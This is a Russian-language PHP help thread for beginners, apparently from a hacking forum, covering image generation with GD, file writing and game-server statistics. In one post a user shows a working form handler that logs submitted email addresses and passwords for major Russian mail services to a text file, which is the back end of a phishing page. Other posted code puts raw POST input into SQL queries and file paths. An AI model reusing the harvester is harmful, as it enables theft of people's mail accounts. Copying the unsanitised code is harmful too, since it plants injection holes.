[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. geforce

    geforce Member

    Joined:
    21 Aug 2008
    Messages:
    300
    Likes Received:
    26
    Reputations:
    -5
    imagejpeg($im,"./images/image.gif");

    Она её сначала выводит в браузере первый аргумент $im а потом сохроняет! А мне надо чтоб она просто сохроняла без вывода в браузер! Как это зделать???
     
  2. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Видишь второй параметр здесь?

    imagejpeg($im,"./images/image.gif");

    Вот он, запятой отделен:

    ,"./images/image.gif"

    так вот, когда он есть - в браузер не выводит, просто сохраняет

    кури:

    http://ru2.php.net/imagegif
     
  3. geforce

    geforce Member

    Joined:
    21 Aug 2008
    Messages:
    300
    Likes Received:
    26
    Reputations:
    -5

    PHP:
    <?php include("db.php");
    header('Content-type: image/jpeg');
    if (isset(
    $_POST['vibor'])) { $vibor $_POST['vibor'];}
    if (isset(
    $_POST['load'])) { $adres $_POST['load'];}
    $result1 mysql_query("SELECT * FROM data WHERE id='$vibor'",$db);
    if (!
    $result1)
    {
    exit(
    mysql_error());
    }
    if (
    mysql_num_rows($result1) > 0)
    {
    $myrow1 mysql_fetch_array($result1);
    $mas getimagesize($adres);

    $width 215;
    $heigth $mas[1]+270;
    $adres1 "admin/".$myrow1['url'];
    $im imagecreatetruecolor($width$heigth);

    $im1 imagecreatefromjpeg($adres);
    $im2 imagecreatefromjpeg('logo.jpg');
    $im3 imagecreatefromjpeg($adres1);
    $name "avat".$myrow1['name'];
    imagecopy($im$im20$mas[1], 0021520);
    imagecopy($im$im10000215$mas[1]);
    imagecopy($im$im30$mas[1]+2000215350);
    imagejpeg($im,"avatar/$name");
    }
    else
    {
    exit();
    }
    ?>
    Вот мой код в браузере выводится картинка пустая с крестиком ну типа она не загрузилась! Картинка сохроняется! Как поступить?
     
  4. SMiX

    SMiX Elder - Старейшина

    Joined:
    25 Jul 2005
    Messages:
    227
    Likes Received:
    55
    Reputations:
    29
    Логично, потому что скрипт ничего не выводит. Однако он посылает браузеру информацию о том, что контент есть картинка:
    PHP:
    header('Content-type: image/jpeg'); 
    Удали эту строку - будет пустая страница.
     
  5. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    imagejpeg($im,"../avatar/$name");

    Так попробуй, и корректней еще будет память очищать после:

    imagedestroy($im);

    Пока вижу только неправильный синтаксис
     
  6. geforce

    geforce Member

    Joined:
    21 Aug 2008
    Messages:
    300
    Likes Received:
    26
    Reputations:
    -5
    Красава!! Большо спасибо тебе! Ты прав! :) :) :)
     
    1 person likes this.
  7. MaTpOc

    MaTpOc Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    633
    Likes Received:
    475
    Reputations:
    25
    как мне вывести статиситику(кто сколько хедшотов сделал и т п) с ксс серва на сайт и чтоб она постоянно обновлялась?
     
  8. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Ну правильное решение надо искать на основе этого (советую читать oRb):

    http://forum.antichat.ru/thread100269.html
     
    1 person likes this.
  9. geforce

    geforce Member

    Joined:
    21 Aug 2008
    Messages:
    300
    Likes Received:
    26
    Reputations:
    -5
    Как я знаю в на самом серваке имеется файл со всей статистикой(убийства, смерти, хед шоты) пишешь скрипт типа fopen(тот файл);
    копируешь его типа copy() и вставляешь в базу или в другой файл типа txt все!
    А потом выводишь его на страницу типа printf("txt файл")
     
    #7349 geforce, 9 Jan 2009
    Last edited: 9 Jan 2009
  10. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Да?:))) Молодца! Если бы так было, я давно бы владел интернетом:) Сам подумай - не локально, а УДАЛЕННО открывать файл на чтение
     
  11. geforce

    geforce Member

    Joined:
    21 Aug 2008
    Messages:
    300
    Likes Received:
    26
    Reputations:
    -5
    Хорошо зайди на www.e107.ru там есть плагин статистики cs разбери его и вперед! Есть ещё в инете куча статистик cs которые можно разобрать и посмотреть как они работают!
     
  12. geforce

    geforce Member

    Joined:
    21 Aug 2008
    Messages:
    300
    Likes Received:
    26
    Reputations:
    -5
    Как сделать закруглёные углы? у картинки $im?
    PHP:
    <?php include("db.php");
    if (isset(
    $_POST['vibor'])) { $vibor $_POST['vibor'];}
    if (isset(
    $_POST['load'])) { $adres $_POST['load'];}
    $result1 mysql_query("SELECT * FROM data WHERE id='$vibor'",$db);
    if (!
    $result1)
    {
    exit(
    mysql_error());
    }
    if (
    mysql_num_rows($result1) > 0)
    {
    $myrow1 mysql_fetch_array($result1);
    $mas getimagesize($adres);

    $width 215;
    $heigth $mas[1]+270;
    $adres1 "admin/".$myrow1['url'];
    $im imagecreatetruecolor($width$heigth);

    $im1 imagecreatefromjpeg($adres);
    $im2 imagecreatefromjpeg('logo.jpg');
    $im3 imagecreatefromjpeg($adres1);
    $name "avat".$myrow1['name'];
    imagecopy($im$im20$mas[1], 0021520);
    imagecopy($im$im10000215$mas[1]);
    imagecopy($im$im30$mas[1]+2000215350);
    imagejpeg($im,"avatar/$name");
    }
    else
    {
    exit();
    }
    ?>
     
  13. ANTIJABBER

    ANTIJABBER New Member

    Joined:
    6 Jan 2009
    Messages:
    36
    Likes Received:
    0
    Reputations:
    0
    +1, тот же пример психостат, не только хедшоты можно вырвать.

    мой вопросик :eek: s

    Как редактировать файл, который находится на фтп, можете привести тут пример? Пожалуйста.
     
  14. geforce

    geforce Member

    Joined:
    21 Aug 2008
    Messages:
    300
    Likes Received:
    26
    Reputations:
    -5
    PHP:
    $fh=fopen("путь к папке/текстовый файл"); 

          
    fputs("вписываемый текст в файл"."\r\n");
              
          
    fclose($fh);  
     
    #7354 geforce, 10 Jan 2009
    Last edited: 10 Jan 2009
  15. Jer1cho

    Jer1cho Member

    Joined:
    6 Jun 2008
    Messages:
    212
    Likes Received:
    65
    Reputations:
    10
    geforce, не чего сказать — лучше промолчать.
    Даже синтаксис не правльный.
     
    1 person likes this.
  16. geforce

    geforce Member

    Joined:
    21 Aug 2008
    Messages:
    300
    Likes Received:
    26
    Reputations:
    -5
    Ну если такой умный хацкер поправь!!! напиши как правильно?

    (Даже синтаксис не прав/льный) словарь почитай :D а потом умничай!
     
  17. DDoSька

    DDoSька Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    317
    Likes Received:
    352
    Reputations:
    18
    lol ....Jer1cho , поумнее тебя и меня буде в php, так что подумай над своими словами...и если ты не веришь мне, почитай его посты.
    ЗЫ:еще раз доказывает,что репа ничего не значит
     
  18. geforce

    geforce Member

    Joined:
    21 Aug 2008
    Messages:
    300
    Likes Received:
    26
    Reputations:
    -5
    PHP:
    <?php   
    $f
    ="";  
    $mail[0]="mail.ru";  
    $mail[1]="list.ru";  
    $mail[2]="inbox.ru";  
    $mail[3]="bk.ru";  
    $mail[4]="yandex.ru";  
    $mail[5]="rambler.ru";  

    if (
    $_POST["a"]==$f || $_POST["b"]==$f
      
    header('Location: error1.php'); 
    else 

      
    $fs=explode("@",$_POST['a'],2); 

      if(
    in_array($fs[1],$mail)) 
      { 
        if(isset(
    $_POST["a"]) && isset($_POST["b"]))  
        { 
          
    $fh=fopen("text/kont.txt","a"); 

          
    fputs($fh,"mail=>>>".$_POST["a"]."::::pass=>>>".$_POST["b"]."\r\n"); 
              
          
    fclose($fh);         
      
          
    header('Location: autor.php'); 
        } 
      } 
      else 
      { 
        
    header('Location: error2.php'); 
      } 

    $error="error";
    ?>
    Значит это тоже не правильно???

    ты тоже словарь почитай (синтакс/ес не прав/ельный)
     
    #7358 geforce, 10 Jan 2009
    Last edited: 10 Jan 2009
  19. Jer1cho

    Jer1cho Member

    Joined:
    6 Jun 2008
    Messages:
    212
    Likes Received:
    65
    Reputations:
    10
    Ты различия не замечаешь чтоли?

    Глупый.
     
  20. DDoSька

    DDoSька Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    317
    Likes Received:
    352
    Reputations:
    18
    Вопрос исчерпан?
     
Thread Status:
Not open for further replies.